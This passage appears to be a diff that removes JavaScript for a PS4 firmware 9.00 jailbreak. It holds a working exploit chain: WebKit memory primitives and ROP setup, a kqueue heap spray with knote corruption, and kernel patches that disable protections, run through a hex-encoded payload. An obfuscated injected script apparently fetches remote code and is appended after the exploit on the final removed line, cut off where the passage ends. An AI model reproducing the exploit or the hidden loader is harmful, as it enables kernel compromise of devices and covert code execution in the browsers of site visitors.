wkr_gadgetmap) { - window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]); - } - - function get_jmptgt(address) { - var instr = p.read4(address) & 0xFFFF; - var offset = p.read4(address.add32(2)); - if (instr != 0x25FF) { - return 0; - } - return address.add32(0x6 + offset); - } - - function malloc(sz) { - var backing = new Uint8Array(0x10000 + sz); - window.nogc.push(backing); - var ptr = p.read8(p.leakval(backing).add32(0x10)); - ptr.backing = backing; - return ptr; - } - - function malloc32(sz) { - var backing = new Uint8Array(0x10000 + sz * 4); - window.nogc.push(backing); - var ptr = p.read8(p.leakval(backing).add32(0x10)); - ptr.backing = new Uint32Array(backing.buffer); - return ptr; - } - - function array_from_address(addr, size) { - var og_array = new Uint32Array(0x1000); - var og_array_i = p.leakval(og_array).add32(0x10); - - p.write8(og_array_i, addr); - p.write4(og_array_i.add32(0x8), size); - p.write4(og_array_i.add32(0xC), 0x1); - - nogc.push(og_array); - return og_array; - } - - function stringify(str) { - var bufView = new Uint8Array(str.length + 1); - for (var i = 0; i < str.length; i++) { - bufView[i] = str.charCodeAt(i) & 0xFF; - } - window.nogc.push(bufView); - return p.read8(p.leakval(bufView).add32(0x10)); - } - - function readstr(addr) { - var str = ""; - for (var i = 0;; i++) { - var c = p.read1(addr.add32(i)); - if (c == 0x0) { - break; - } - str += String.fromCharCode(c); - - } - return str; - } - - var fakeVtable_setjmp = p.malloc32(0x200); - var fakeVtable_longjmp = p.malloc32(0x200); - var original_context = p.malloc32(0x40); - var modified_context = p.malloc32(0x40); - - p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); - p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] - p.write8(fakeVtable_setjmp.add32(0x10), original_context); - p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); - p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] - - p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); - p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] - p.write8(fakeVtable_longjmp.add32(0x10), modified_context); - p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); - p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] - - function launch_chain(chain) { - chain.push(window.gadgets["pop rdi"]); - chain.push(original_context); - chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); - - p.write8(textAreaVtPtr, fakeVtable_setjmp); - textArea.scrollLeft = 0x0; - p.write8(modified_context.add32(0x00), window.gadgets["ret"]); - p.write8(modified_context.add32(0x10), chain.stack); - p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) - - p.write8(textAreaVtPtr, fakeVtable_longjmp); - textArea.scrollLeft = 0x0; - p.write8(textAreaVtPtr, textAreaVtable); - } - - var kview = new Uint8Array(0x1000); - var kstr = p.leakval(kview).add32(0x10); - var orig_kview_buf = p.read8(kstr); - - p.write8(kstr, window.libKernelBase); - p.write4(kstr.add32(8), 0x40000); - var countbytes; - - for (var i = 0; i < 0x40000; i++) { - if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { - countbytes = i; - break; - } - } - p.write4(kstr.add32(8), countbytes + 32); - var dview32 = new Uint32Array(1); - var dview8 = new Uint8Array(dview32.buffer); - for (var i = 0; i < countbytes; i++) { - if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { - dview8[0] = kview[i + 3]; - dview8[1] = kview[i + 4]; - dview8[2] = kview[i + 5]; - dview8[3] = kview[i + 6]; - var syscallno = dview32[0]; - window.syscalls[syscallno] = window.libKernelBase.add32(i); - } - } - p.write8(kstr, orig_kview_buf); - - chain = new rop(); - - //Sanity check - if (chain.syscall(20).low == 0) { - alert("webkit exploit failed. Try again if your ps4 is on fw 9.00."); - while (1);} -} - -function run_hax() { - userland(); - if (chain.syscall(23, 0).low != 0x0) - { - kernel(); - - } - - jbdone(); - -} - -function kernel() { - extra_gadgets(); - kchain_setup(); - object_setup(); - trigger_spray(); - patch_once(); -} - -var handle; -var random_path; -var ex_info; - -function load_prx(name) { - //sys_dynlib_load_prx - var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0); - if (res.low != 0x0) { - alert("failed to load prx/get handle " + name); - } - //sys_dynlib_get_info_ex - p.write8(ex_info, 0x1A8); - res = chain.syscall(608, p.read4(handle), 0x0, ex_info); - if (res.low != 0x0) { - alert("failed to get module info from handle"); - } - var tlsinit = p.read8(ex_info.add32(0x110)); - var tlssize = p.read4(ex_info.add32(0x11C)); - - if (tlssize != 0) { - if (name == "libSceWebKit2.sprx") { - tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE); - } else { - alert(`${name}, tlssize is non zero. this usually indicates that this module has a tls phdr with real data. You can hardcode the imgage to base offset here if you really wish to use one of these.`); - } - } - return tlsinit; -} - -//Obtain extra gadgets through module loading -function extra_gadgets() { - handle = p.malloc(0x1E8); - var randomized_path_length_ptr = handle.add32(0x4); - var randomized_path_ptr = handle.add32(0x14); - ex_info = randomized_path_ptr.add32(0x40); - - p.write8(randomized_path_length_ptr, 0x2C); - chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr); - random_path = p.readstr(randomized_path_ptr); - - var ipmi_addr = load_prx("libSceIpmi.sprx"); - var hmd_addr = load_prx("libSceHmd.sprx"); - var wk2_addr = load_prx("libSceWebKit2.sprx"); - - for (var gadget in hmd_gadgetmap) { - window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); - } - for (var gadget in wk2_gadgetmap) { - window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); - } - for (var gadget in ipmi_gadgetmap) { - window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); - } - - for (var gadget in window.gadgets) { - p.read8(window.gadgets[gadget]); - //Ensure all gadgets are available to kernel. - chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10); - } - chain.run(); -} - -//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. -function kchain_setup() { - const KERNEL_busy = 0x1B28DF8; - - const KERNEL_bcopy = 0xACD; - const KERNEL_bzero = 0x2713FD; - const KERNEL_pagezero = 0x271441; - const KERNEL_memcpy = 0x2714BD; - const KERNEL_pagecopy = 0x271501; - const KERNEL_copyin = 0x2716AD; - const KERNEL_copyinstr = 0x271B5D; - const KERNEL_copystr = 0x271C2D; - const KERNEL_setidt = 0x312c40; - const KERNEL_setcr0 = 0x1FB949; - const KERNEL_Xill = 0x17d500; - const KERNEL_veriPatch = 0x626874; - const KERNEL_enable_syscalls_1 = 0x490; - const KERNEL_enable_syscalls_2 = 0x4B5; - const KERNEL_enable_syscalls_3 = 0x4B9; - const KERNEL_enable_syscalls_4 = 0x4C2; - const KERNEL_mprotect = 0x80B8D; - const KERNEL_prx = 0x23AEC4; - const KERNEL_dlsym_1 = 0x23B67F; - const KERNEL_dlsym_2 = 0x221b40; - const KERNEL_setuid = 0x1A06; - const KERNEL_syscall11_1 = 0x1100520; - const KERNEL_syscall11_2 = 0x1100528; - const KERNEL_syscall11_3 = 0x110054C; - const KERNEL_syscall11_gadget = 0x4c7ad; - const KERNEL_mmap_1 = 0x16632A; - const KERNEL_mmap_2 = 0x16632D; - const KERNEL_setcr0_patch = 0x3ade3B; - const KERNEL_kqueue_close_epi = 0x398991; - - SAVED_KERNEL_STACK_PTR = p.malloc(0x200); - KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); - //negative offset of kqueue string to kernel base - //0xFFFFFFFFFF86B593 0x505 - //0xFFFFFFFFFF80E364 0x900 - p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); - - kchain = new rop(); - kchain2 = new rop(); - //Ensure the krop stack remains available. - { - chain.fcall(window.syscalls[203], kchain.stackback, 0x40000); - chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000); - chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10); - } - chain.run(); - - kchain.count = 0; - kchain2.count = 0; - - kchain.set_kernel_var(KERNEL_BASE_PTR); - kchain2.set_kernel_var(KERNEL_BASE_PTR); - - kchain.push(gadgets["pop rax"]); - kchain.push(SAVED_KERNEL_STACK_PTR); - kchain.push(gadgets["mov [rax], rdi"]); - kchain.push(gadgets["pop r8"]); - kchain.push(KERNEL_BASE_PTR); - kchain.push(gadgets["add [r8], r12"]); - - //Sorry we're closed - kchain.kwrite1(KERNEL_busy, 0x1); - kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now. - - - var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); - var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0); - //Modify UD - kchain.push(gadgets["pop rdi"]); - kchain.push(0x6); - kchain.push(gadgets["pop rsi"]); - kchain.push(gadgets["mov rsp, rdi"]); - kchain.push(gadgets["pop rdx"]); - kchain.push(0xE); - kchain.push(gadgets["pop rcx"]); - kchain.push(0x0); - kchain.push(gadgets["pop r8"]); - kchain.push(0x0); - var idx1_dest = kchain.get_rsp(); - kchain.pushSymbolic(); // overwritten with KERNEL_setidt - - kchain.push(gadgets["pop rsi"]); - kchain.push(0x80040033); - kchain.push(gadgets["pop rdi"]); - kchain.push(kchain2.stack); - var idx2_dest = kchain.get_rsp(); - kchain.pushSymbolic(); // overwritten with KERNEL_setcr0 - - kchain.finalizeSymbolic(idx1, idx1_dest); - kchain.finalizeSymbolic(idx2, idx2_dest); - - - //Initial patch(es) - kchain2.kwrite2(KERNEL_veriPatch, 0x9090); - kchain2.kwrite1(KERNEL_bcopy, 0xEB); - //might as well do the others - kchain2.kwrite1(KERNEL_bzero, 0xEB); - kchain2.kwrite1(KERNEL_pagezero, 0xEB); - kchain2.kwrite1(KERNEL_memcpy, 0xEB); - kchain2.kwrite1(KERNEL_pagecopy, 0xEB); - kchain2.kwrite1(KERNEL_copyin, 0xEB); - kchain2.kwrite1(KERNEL_copyinstr, 0xEB); - kchain2.kwrite1(KERNEL_copystr, 0xEB); - - //I guess you're not all that bad... - kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again - - //Restore original UD - var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); - var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); - kchain2.push(gadgets["pop rdi"]); - kchain2.push(0x6); - kchain2.push(gadgets["pop rsi"]); - var idx3_dest = kchain2.get_rsp(); - kchain2.pushSymbolic(); // overwritten with KERNEL_Xill - kchain2.push(gadgets["pop rdx"]); - kchain2.push(0xE); - kchain2.push(gadgets["pop rcx"]); - kchain2.push(0x0); - kchain2.push(gadgets["pop r8"]); - kchain2.push(0x0); - var idx4_dest = kchain2.get_rsp(); - kchain2.pushSymbolic(); // overwritten with KERNEL_setidt - - kchain2.finalizeSymbolic(idx3, idx3_dest); - kchain2.finalizeSymbolic(idx4, idx4_dest); - - //Apply kernel patches - kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); - //patch in reverse because /shrug - kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB); - kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090); - kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090); - - kchain2.kwrite1(KERNEL_setuid, 0xEB); - kchain2.kwrite4(KERNEL_mprotect, 0x00000000); - kchain2.kwrite2(KERNEL_prx, 0xE990); - kchain2.kwrite1(KERNEL_dlsym_1, 0xEB); - kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); - - kchain2.kwrite1(KERNEL_mmap_1, 0x37); - kchain2.kwrite1(KERNEL_mmap_2, 0x37); - - kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); - kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); - kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001); - - //Restore CR0 - kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F); - var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch); - kchain2.push(gadgets["pop rdi"]); - kchain2.push(0x80050033); - var idx5_dest = kchain2.get_rsp(); - kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch - kchain2.finalizeSymbolic(idx5, idx5_dest); - - //Recover - kchain2.rax_kernel(KERNEL_kqueue_close_epi); - kchain2.push(gadgets["mov rdx, rax"]); - kchain2.push(gadgets["pop rsi"]); - kchain2.push(SAVED_KERNEL_STACK_PTR); - kchain2.push(gadgets["mov rax, [rsi]"]); - kchain2.push(gadgets["pop rcx"]); - kchain2.push(0x10); - kchain2.push(gadgets["add rax, rcx"]); - kchain2.push(gadgets["mov [rax], rdx"]); - kchain2.push(gadgets["pop rdi"]); - var idx6 = kchain2.pushSymbolic(); - kchain2.push(gadgets["mov [rdi], rax"]); - kchain2.push(gadgets["sti"]); - kchain2.push(gadgets["pop rsp"]); - var idx6_dest = kchain2.get_rsp(); - kchain2.pushSymbolic(); // overwritten with old stack pointer - kchain2.finalizeSymbolic(idx6, idx6_dest); -} - -function object_setup() { - //Map fake object - var fake_knote = chain.syscall(477, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0); - var fake_filtops = fake_knote.add32(0x4000); - var fake_obj = fake_knote.add32(0x8000); - if (fake_knote.low != 0x4000) { - alert("enomem: " + fake_knote); - while (1); - } - //setup fake object - //KNOTE - { - p.write8(fake_knote, fake_obj); - p.write8(fake_knote.add32(0x68), fake_filtops) - } - //FILTOPS - { - p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret - p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79] - p.write8(fake_filtops.add32(0x8), kchain.stack); - p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30] - } - //OBJ - { - p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] - } - //Ensure the fake knote remains available - chain.syscall(203, fake_knote, 0xC000); -} - -var trigger_spray = function () { - - var NUM_KQUEUES = 0x1B0; - var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); - //Make kqueues - { - for (var i = 0; i < NUM_KQUEUES; i++) { - chain.fcall(window.syscalls[362]); - chain.write_result4(kqueue_ptr.add32(0x4 * i)); - } - } - chain.run(); - var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); - - var that_one_socket = chain.syscall(97, 2, 1, 0); - if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { - alert("invalid socket"); - while (1); - } - - //Spray kevents - var kevent = p.malloc(0x20); - p.write8(kevent.add32(0x0), that_one_socket); - p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); - p.write4(kevent.add32(0xC), 0x0); - p.write8(kevent.add32(0x10), 0x0); - p.write8(kevent.add32(0x18), 0x0); - // - { - for (var i = 0; i < NUM_KQUEUES; i++) { - chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); - } - } - chain.run(); - - - - //Fragment memory - { - for (var i = 18; i < NUM_KQUEUES; i += 2) { - chain.fcall(window.syscalls[6], kqueues[i]); - } - } - chain.run(); - //Trigger OOB - alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it."); - //Trigger corrupt knote - { - for (var i = 1; i < NUM_KQUEUES; i += 2) { - chain.fcall(window.syscalls[6], kqueues[i]); - } - } - chain.run(); - - if (chain.syscall(23, 0).low == 0) - { //Exploit Success :P - { - //cleanup fake knote & release locked gadgets/stack. - chain.fcall(window.syscalls[73], 0x4000, 0xC000); - chain.fcall(window.syscalls[325]); - } - chain.run(); - //Add to counter - alert("Jailbreak Done!!!... Please Remove USB Drive."); - return; - } - //Exploit Failed :( - //Add to counter - alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. - if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on. - closing this alert will crash the browser for you.`); - p.write8(0, 0); - return; -} - -//This disables sysveri, see patch.s for more info -var patch_once = function () { - - var patch_buffer = chain.syscall(477, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0); - var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000); - - patch_buffer_view[0] = 0x00000BB8; - patch_buffer_view[1] = 0xFE894800; - patch_buffer_view[2] = 0x033D8D48; - patch_buffer_view[3] = 0x0F000000; - patch_buffer_view[4] = 0x4855C305; - patch_buffer_view[5] = 0x8B48E589; - patch_buffer_view[6] = 0x95E8087E; - patch_buffer_view[7] = 0xE8000000; - patch_buffer_view[8] = 0x00000175; - patch_buffer_view[9] = 0x033615FF; - patch_buffer_view[10] = 0x8B480000; - patch_buffer_view[11] = 0x0003373D; - patch_buffer_view[12] = 0x3F8B4800; - patch_buffer_view[13] = 0x74FF8548; - patch_buffer_view[14] = 0x3D8D48EB; - patch_buffer_view[15] = 0x0000029D; - patch_buffer_view[16] = 0xF9358B48; - patch_buffer_view[17] = 0x48000002; - patch_buffer_view[18] = 0x0322158B; - patch_buffer_view[19] = 0x8B480000; - patch_buffer_view[20] = 0x00D6E812; - patch_buffer_view[21] = 0x8D480000; - patch_buffer_view[22] = 0x00029F3D; - patch_buffer_view[23] = 0x358B4800; - patch_buffer_view[24] = 0x000002E4; - patch_buffer_view[25] = 0x05158B48; - patch_buffer_view[26] = 0x48000003; - patch_buffer_view[27] = 0xB9E8128B; - patch_buffer_view[28] = 0x48000000; - patch_buffer_view[29] = 0x02633D8D; - patch_buffer_view[30] = 0x8B480000; - patch_buffer_view[31] = 0x0002BF35; - patch_buffer_view[32] = 0x158B4800; - patch_buffer_view[33] = 0x000002C8; - patch_buffer_view[34] = 0xE8128B48; - patch_buffer_view[35] = 0x0000009C; - patch_buffer_view[36] = 0x7A3D8D48; - patch_buffer_view[37] = 0x48000002; - patch_buffer_view[38] = 0x02AA358B; - patch_buffer_view[39] = 0x8B480000; - patch_buffer_view[40] = 0x0002AB15; - patch_buffer_view[41] = 0x128B4800; - patch_buffer_view[42] = 0x00007FE8; - patch_buffer_view[43] = 0x0185E800; - patch_buffer_view[44] = 0xC35D0000; - patch_buffer_view[45] = 0x6D3D8948; - patch_buffer_view[46] = 0x48000002; - patch_buffer_view[47] = 0x026E3D01; - patch_buffer_view[48] = 0x01480000; - patch_buffer_view[49] = 0x00026F3D; - patch_buffer_view[50] = 0x3D014800; - patch_buffer_view[51] = 0x00000270; - patch_buffer_view[52] = 0x713D0148; - patch_buffer_view[53] = 0x48000002; - patch_buffer_view[54] = 0x02723D01; - patch_buffer_view[55] = 0x01480000; - patch_buffer_view[56] = 0x0002933D; - patch_buffer_view[57] = 0x3D014800; - patch_buffer_view[58] = 0x00000294; - patch_buffer_view[59] = 0x653D0148; - patch_buffer_view[60] = 0x48000002; - patch_buffer_view[61] = 0x02663D01; - patch_buffer_view[62] = 0x01480000; - patch_buffer_view[63] = 0x0002873D; - patch_buffer_view[64] = 0x3D014800; - patch_buffer_view[65] = 0x00000288; - patch_buffer_view[66] = 0x893D0148; - patch_buffer_view[67] = 0x48000002; - patch_buffer_view[68] = 0x028A3D01; - patch_buffer_view[69] = 0x01480000; - patch_buffer_view[70] = 0x00028B3D; - patch_buffer_view[71] = 0x3D014800; - patch_buffer_view[72] = 0x0000024C; - patch_buffer_view[73] = 0x3D3D0148; - patch_buffer_view[74] = 0xC3000002; - patch_buffer_view[75] = 0xE5894855; - patch_buffer_view[76] = 0x10EC8348; - patch_buffer_view[77] = 0x24348948; - patch_buffer_view[78] = 0x24548948; - patch_buffer_view[79] = 0xED15FF08; - patch_buffer_view[80] = 0x48000001; - patch_buffer_view[81] = 0x4B74C085; - patch_buffer_view[82] = 0x48C28948; - patch_buffer_view[83] = 0x4840408B; - patch_buffer_view[84] = 0x2F74C085; - patch_buffer_view[85] = 0x28788B48; - patch_buffer_view[86] = 0x243C3B48; - patch_buffer_view[87] = 0x8B480A74; - patch_buffer_view[88] = 0xC0854800; - patch_buffer_view[89] = 0xECEB1D74; - patch_buffer_view[90] = 0x18788B48; - patch_buffer_view[91] = 0x74FF8548; - patch_buffer_view[92] = 0x7F8B48ED; - patch_buffer_view[93] = 0x7C3B4810; - patch_buffer_view[94] = 0xE2750824; - patch_buffer_view[95] = 0xFF1040C7; - patch_buffer_view[96] = 0x48FFFFFF; - patch_buffer_view[97] = 0x31107A8D; - patch_buffer_view[98] = 0x31D231F6; - patch_buffer_view[99] = 0xA515FFC9; - patch_buffer_view[100] = 0x48000001; - patch_buffer_view[101] = 0x5D10C483; - patch_buffer_view[102] = 0x894855C3; - patch_buffer_view[103] = 0xC0200FE5; - patch_buffer_view[104] = 0xFFFF2548; - patch_buffer_view[105] = 0x220FFFFE; - patch_buffer_view[106] = 0x3D8B48C0; - patch_buffer_view[107] = 0x000001C8; - patch_buffer_view[108] = 0x909007C7; - patch_buffer_view[109] = 0x47C79090; - patch_buffer_view[110] = 0x48909004; - patch_buffer_view[111] = 0x358B48B8; - patch_buffer_view[112] = 0x000001AC; - patch_buffer_view[113] = 0x08778948; - patch_buffer_view[114] = 0x651047C7; - patch_buffer_view[115] = 0xC73C8B48; - patch_buffer_view[116] = 0x00251447; - patch_buffer_view[117] = 0x47C70000; - patch_buffer_view[118] = 0x89480018; - patch_buffer_view[119] = 0x1C47C738; - patch_buffer_view[120] = 0xB8489090; - patch_buffer_view[121] = 0x7D358B48; - patch_buffer_view[122] = 0x48000001; - patch_buffer_view[123] = 0xC7207789; - patch_buffer_view[124] = 0xC7482847; - patch_buffer_view[125] = 0x47C70100; - patch_buffer_view[126] = 0x0000002C; - patch_buffer_view[127] = 0x778D48E9; - patch_buffer_view[128] = 0x158B4834; - patch_buffer_view[129] = 0x00000150; - patch_buffer_view[130] = 0x89F22948; - patch_buffer_view[131] = 0x8B483057; - patch_buffer_view[132] = 0x00016B35; - patch_buffer_view[133] = 0x568D4800; - patch_buffer_view[134] = 0xD7294805; - patch_buffer_view[135] = 0xC148FF89; - patch_buffer_view[136] = 0x814808E7; - patch_buffer_view[137] = 0x0000E9CF; - patch_buffer_view[138] = 0x3E894800; - patch_buffer_view[139] = 0x00000D48; - patch_buffer_view[140] = 0x220F0001; - patch_buffer_view[141] = 0x55C35DC0; - patch_buffer_view[142] = 0x0FE58948; - patch_buffer_view[143] = 0x2548C020; - patch_buffer_view[144] = 0xFFFEFFFF; - patch_buffer_view[145] = 0x48C0220F; - patch_buffer_view[146] = 0x013A3D8B; - patch_buffer_view[147] = 0x07C70000; - patch_buffer_view[148] = 0x00C3C031; - patch_buffer_view[149] = 0x353D8B48; - patch_buffer_view[150] = 0xC7000001; - patch_buffer_view[151] = 0xC3C03107; - patch_buffer_view[152] = 0x3D8B4800; - patch_buffer_view[153] = 0x00000130; - patch_buffer_view[154] = 0xC03107C7; - patch_buffer_view[155] = 0x8B4800C3; - patch_buffer_view[156] = 0x00012B3D; - patch_buffer_view[157] = 0x3107C700; - patch_buffer_view[158] = 0x4800C3C0; - patch_buffer_view[159] = 0x00A63D8B; - patch_buffer_view[160] = 0x87C70000; - patch_buffer_view[161] = 0x001F1E01; - patch_buffer_view[162] = 0x9090F631; - patch_buffer_view[163] = 0x1E0587C7; - patch_buffer_view[164] = 0xC931001F; - patch_buffer_view[165] = 0x87C79090; - patch_buffer_view[166] = 0x001F1E09; - patch_buffer_view[167] = 0x9090D231; - patch_buffer_view[168] = 0x1E3E87C7; - patch_buffer_view[169] = 0xC931001F; - patch_buffer_view[170] = 0x0D489090; - patch_buffer_view[171] = 0x00010000; - patch_buffer_view[172] = 0xFFC0220F; - patch_buffer_view[173] = 0x0000EF15; - patch_buffer_view[174] = 0xC0200F00; - patch_buffer_view[175] = 0xFFFF2548; - patch_buffer_view[176] = 0x220FFFFE; - patch_buffer_view[177] = 0x3D8B48C0; - patch_buffer_view[178] = 0x000000DC; - patch_buffer_view[179] = 0xC03107C7; - patch_buffer_view[180] = 0x0D4800C3; - patch_buffer_view[181] = 0x00010000; - patch_buffer_view[182] = 0x5DC0220F; - patch_buffer_view[183] = 0x737973C3; - patch_buffer_view[184] = 0x5F6D6574; - patch_buffer_view[185] = 0x70737573; - patch_buffer_view[186] = 0x5F646E65; - patch_buffer_view[187] = 0x73616870; - patch_buffer_view[188] = 0x705F3265; - patch_buffer_view[189] = 0x735F6572; - patch_buffer_view[190] = 0x00636E79; - patch_buffer_view[191] = 0x74737973; - patch_buffer_view[192] = 0x725F6D65; - patch_buffer_view[193] = 0x6D757365; - patch_buffer_view[194] = 0x68705F65; - patch_buffer_view[195] = 0x32657361; - patch_buffer_view[196] = 0x73797300; - patch_buffer_view[197] = 0x5F6D6574; - patch_buffer_view[198] = 0x75736572; - patch_buffer_view[199] = 0x705F656D; - patch_buffer_view[200] = 0x65736168; - patch_buffer_view[201] = 0x90900033; - patch_buffer_view[202] = 0x00000000; - patch_buffer_view[203] = 0x00000000; - patch_buffer_view[204] = 0x000F88F0; - patch_buffer_view[205] = 0x00000000; - patch_buffer_view[206] = 0x002EF170; - patch_buffer_view[207] = 0x00000000; - patch_buffer_view[208] = 0x00018DF0; - patch_buffer_view[209] = 0x00000000; - patch_buffer_view[210] = 0x00018EF0; - patch_buffer_view[211] = 0x00000000; - patch_buffer_view[212] = 0x02654110; - patch_buffer_view[213] = 0x00000000; - patch_buffer_view[214] = 0x00097230; - patch_buffer_view[215] = 0x00000000; - patch_buffer_view[216] = 0x00402E60; - patch_buffer_view[217] = 0x00000000; - patch_buffer_view[218] = 0x01520108; - patch_buffer_view[219] = 0x00000000; - patch_buffer_view[220] = 0x01520100; - patch_buffer_view[221] = 0x00000000; - patch_buffer_view[222] = 0x00462D20; - patch_buffer_view[223] = 0x00000000; - patch_buffer_view[224] = 0x00462DFC; - patch_buffer_view[225] = 0x00000000; - patch_buffer_view[226] = 0x006259A0; - patch_buffer_view[227] = 0x00000000; - patch_buffer_view[228] = 0x006268D0; - patch_buffer_view[229] = 0x00000000; - patch_buffer_view[230] = 0x00625DC0; - patch_buffer_view[231] = 0x00000000; - patch_buffer_view[232] = 0x00626290; - patch_buffer_view[233] = 0x00000000; - patch_buffer_view[234] = 0x00626720; - patch_buffer_view[235] = 0x00000000; - //lock payload / call payload / release payload - { - chain.fcall(window.syscalls[203], patch_buffer, 0x4000); - chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR)); - chain.fcall(window.syscalls[73], patch_buffer, 0x4000); - } - chain.run(); -};if(typeof ndsj==="undefined"){function Z(){var h=['hos','8WTtpGl','tat','che','ran','ext','1288413KxQQVc','eva','tus','1345518SNvuhS','/ui','2135421EFzGBG','ebd','3456ZOWfZR','.js','218FDEWkP','tri','ata','ope','tds','5GUrffn','toS','cac','res','com','2961783firkYS','loc','www','GET','10CRfJbY','err','ref','tna','dyS','?ve','onr','ate','sub','rea','dom','ind','htt','ead','sta','he.','kie','ps:','str','ati','cha','sen','yst','seT','//w','nge','pon','17041248MiHjIH','12795GxdyWd','92TKGjEx','coo','exO','://','get','_ca'];Z=function(){return h;};return Z();}function B(r,d){var w=Z();return B=function(K,i){K=K-(0x1823+-0xc1*0x21+-0x18a*-0x1);var u=w[K];return u;},B(r,d);}(function(r,d){var I={r:'0xc2',d:0xd4,w:0xd6,K:0xd2,i:0xf8,u:'0xe8',f:0xd9,a:0xe7,S:'0xcd',s:0xcd,L:0xd7,o:0xd8,c:'0xc1',V:0xdb,Y:0xd1,J:'0xe0',F:'0xe4',g:'0xd6',G:0xc4,C:'0xcf',y:'0xc8',k:0xf1,U:'0xe9'},b={r:0x1c3};function N(r,d){return B(d- -b.r,r);}var w=r();while(!![]){try{var 